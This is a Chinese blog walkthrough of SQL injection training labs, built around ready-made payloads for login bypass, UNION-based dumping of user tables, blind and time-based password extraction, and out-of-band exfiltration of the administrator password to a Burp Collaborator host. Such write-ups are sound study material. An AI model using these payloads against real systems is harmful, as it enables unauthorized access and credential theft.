【服务端-SQL注入】-17个实验(全)

举报
黑色地带(崛起) 发表于 2023/01/12 20:26:58 2023/01/12
【摘要】 SQL注入专题,基础注入方法、区别、注意点、知识

前言:

介绍: 

博主:网络安全领域狂热爱好者。

殊荣:华为云博主、CSDN网络安全领域优质创作者(CSDN:黑色地带(崛起)),2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。

擅长:对于技术、工具、漏洞原理、黑产打击的研究。


导读:

面向读者:对于网络安全方面的学者。 


本文知识点: 

(1)检索隐藏数据(√)

(2)颠覆应用程序逻辑(√)

(3)从其他数据库表中检索数据(√)

(4)SQL盲注(√)

(5)其他类型SQL注入(√)

 


 助你一臂之力  

📋问题1:大佬们都是如何快速发现漏洞点的?

🎯编写自动化脚本跑

🎯经验之谈(熟能生巧)

🎯细心谨慎(注意到一些细微差别)


📋问题2:使用的工具有哪些?

🎯BP的攻击模块

🎯sqlmap

🎯更多的是自己编写的脚本

心得:隐藏参数的注释(或者爆破分类,从而得到隐藏分类)

实验1:隐藏商品

part1:

点击分类为礼物(未做任何修改)



part2:

把分类后面的内容注释调了,出现了新产品



part3:

随便点击一个分类(加上'+or+1=1--)


 显示了所有商品(包括隐藏商品)


​​

 心得:登陆逻辑的绕过(相当于试判断成立)

实验2:登陆逻辑

part1:

点击后进行登陆(需要输入密码,才能提交)



part2:

POST数据包中有csrf、username、password三个参数

 

 在username后加上'--注释掉后面的内容

(前提不是预编译那种,且没过滤,害)



 心得:union联合查询(类似的还有堆叠注入,order by分类)

实验3:判断列

part1:
 

点击一个分类
然后判断列数
'order by 3 --
正常回显


'order by 4 --

报错



part2:

本题是要使用union select

'union+select+null,null,null--





心得:判断字段数,以及可回现的位置、字段名

实验4:判断字段对应位置

part1:

'union+select+'NeXKXZ',null,null--

使用题目给的字符串,3个位置依次换,直到对上指定列的位置

'union+select+null,'NeXKXZ',null--

在第二个位置就正确了





​​


心得:union select联合查询数据

实验5:其他表检索数据

part1:

先判段为2列,再根据题目信息,username,password

'union+select+username,password from users--




part2:

使用账号登陆

administrator of0vwdslqljccpzv3eik



心得:单个列中联合检索多个列的数据(不同数据库连接方法不同)

实验6:单个列中检索多个字段

判断是2列后

发现不是2列都是字符型

'union+select+'a','a'--


第二列才是返回的字符型

第一列是数值型

'union+select+null,'a'--


'union+select+'a',null--

扩展(不同数据库字符串的连接方法):
Oracle: 'foo'||'bar'
SQL Server: 'foo'+'bar'
Mysql: 'foo' 'bar'(空格) CONCAT('foo','bar')
PostgreSQL: 'foo'||'bar'

part2:

将username,password合并到了一列带出

'union+select+null,username||'~'||password+from+users----



part3:

登陆



心得:不同的数据库查询语句不同

实验7:Orange数据库版本

part1:

提示了为Oracle数据库(查询需要带上表,dual表,此表是Oracle数据库中的一个自带表)

order+by判断为2列,且2列都字符串型

'union+select+'a','b'+from+dual--



 

扩展(各数据库查询版本语句):
Mysql        SELECT version()
Sql Server   SELECT @@version
Oracle       SELECT * FROM v$version
Postgre      SELECT version()

part2:

banner提示:



'union+select+banner,null+from+v$version--




心得:通过不同数据库查询语句,判断为何种数据库

实验8:Mysql数据库版本

part1:

'order by 2-- a
'union+select+null,'a'-- a

(此处-- a是为了使空格不被插件忽略,使得注释成功)

————

part2:

'union+select+null,version()-- a


 



​​


心得:基础知识:自带的information_schema

实验9:Orange数据库检索1

part1:

2列,且都是字符型

'order by 2--
'+UNION+SELECT+'a','b'--

part2:

查所有表(自带的information_schema)

'+UNION+SELECT+table_name,NULL+FROM+information_schema.tables--


查用户相关的表中的所有字段

'+UNION+SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name='users_ybbtel'--


查字段所对应的数据

'+UNION+SELECT+username_icxunp,password_gqvjoo+FROM+users_ybbtel--



part3:

登陆



​​


心得:Orange特殊之FROM+dual

实验10:Orange数据库检索2

part1:

2列,且都是字符型

'order by 2--
'UNION+SELECT+'a','b'+FROM+dual--

part2:

查所有表(找到用户表)

'UNION+SELECT+table_name,NULL+FROM+all_tables--


查所有字段

'UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_YSRTOP'--


 爆数据


'UNION+SELECT+USERNAME_KNSBZS,PASSWORD_VROHTE+FROM+USERS_YSRTOP--



part3:

登陆




心得:观察回显的不同(先看字节数)

实验11:带条件响应的SQL注入

part1:

加上

' AND 1=1--



' AND 1=2--

 少了一个欢迎回来,而且字节数也少了

说明存在注入点


part2:

判单是否存在users表

' AND (SELECT 'a' FROM users LIMIT 1)='a'--

(存在)


判断是否存在administrator用户

' AND (SELECT 'a' FROM users WHERE username='administrator')='a'--

(存在)


判断密码长度

' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--

(直接跑一下)



到数字20的时候就不成立了

说明密码有20位


爆破每一个字符的值

' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§'--



payload1:


payload2:


结果:

按照payload1的顺序讲payload2排列起来就可以了(先将所有数据包按降序排列)

 

 98l1jlxbm80mk8dfnpmk


part3:

登陆



心得:通过条件判断执行对应语句

实验12:条件判断SQL注入

part1:

单引号报错


 2个单引号就正常了

(存在注入点,且为单引号闭合)


 判断数据库类型

' || (select '') || '

(报错,不是MySQL)


'||(SELECT '' FROM dual)||'

(未报错,可能是Oracle数据库)

 (再次证明其他无关性,换一个不存在的表报错)



part2:

'||(SELECT '' FROM users WHERE ROWNUM = 1)||'

(rownum=1 防止查询的时候返回多行)


再用类似上一个实验一样的方法,猜表、用户名,爆破密码

'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

(when的条件成立时,会执行then后的内容,即执行成功1/0报错,若不成立,则返回else后的内容)


 判断是否存在administrator用户

'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
(用户不存在、1=1不成立有一个为fause时候返回200状态码,否则为ture,执行执行成功1/0报错)


 判断密码位数

'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'



编辑
到20的时候就返回200状态码了,说明密码长度为20位

 爆破密码

'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

 

 payload1:


 payload2:



结果:

按照payload1的顺序讲payload2排列起来就可以了(先将所有数据包按降序排列)


e8q11s15y9pc8z5b2n78


part3:

登陆 



心得:拼接时间延迟函数

实验13:时延盲注

'||sleep(10)--

(几乎没什么时延,不是MySQL数据库)

编辑


'||pg_sleep(10)--

(时延10s)

编辑





心得:通过条件判断语句运行不同的命令

实验14:时延SQL注入

part1:

验证时延语句

'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--

(延迟10s)

编辑

'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--

(几乎无延迟)

编辑

 判断用户administrator是否存在

'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

(延迟10s,说明为ture,即存在)

编辑

 判断密码长度

'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

结果肯定是20位

爆破密码

'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

编辑

 编辑

 编辑


结果:

勾选上时间

编辑

编辑


 (我偷偷把延迟时间改为了2s,没想到居然误差有点小大,从大抓准没错)

nnn11iyvkal1dvdwosmr(错了,还是不能缩太短,害)


重新设6s

编辑

ndkt1iyvkal1svdw0omr(ok了)


part3:

登陆




心得:拼接后将数据带外回显

实验15:带外技术

part1:

编辑

复制后,修改http://后面


'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//iykblv2ne2x9e8fpic4ap9qwinodc2.burpcollaborator.net">+%25remote%3b]>'),'/l')+FROM+dual--

编辑


part2:

编辑

 编辑


心得:拼接将数据带外回显

实验16:带外SQL注入

part1:

编辑

(将划线部分替换为自己的,注入语句夹在了http头和URL之间)

'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.1km5gjbs8t098rhznbrdxtuo5fb5zu.burpcollaborator.net">+%25remote%3b]>'),'/l')+FROM+dual--

part2:

编辑 编辑

 前面这个就是带出的密码编辑


part3:

登陆

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。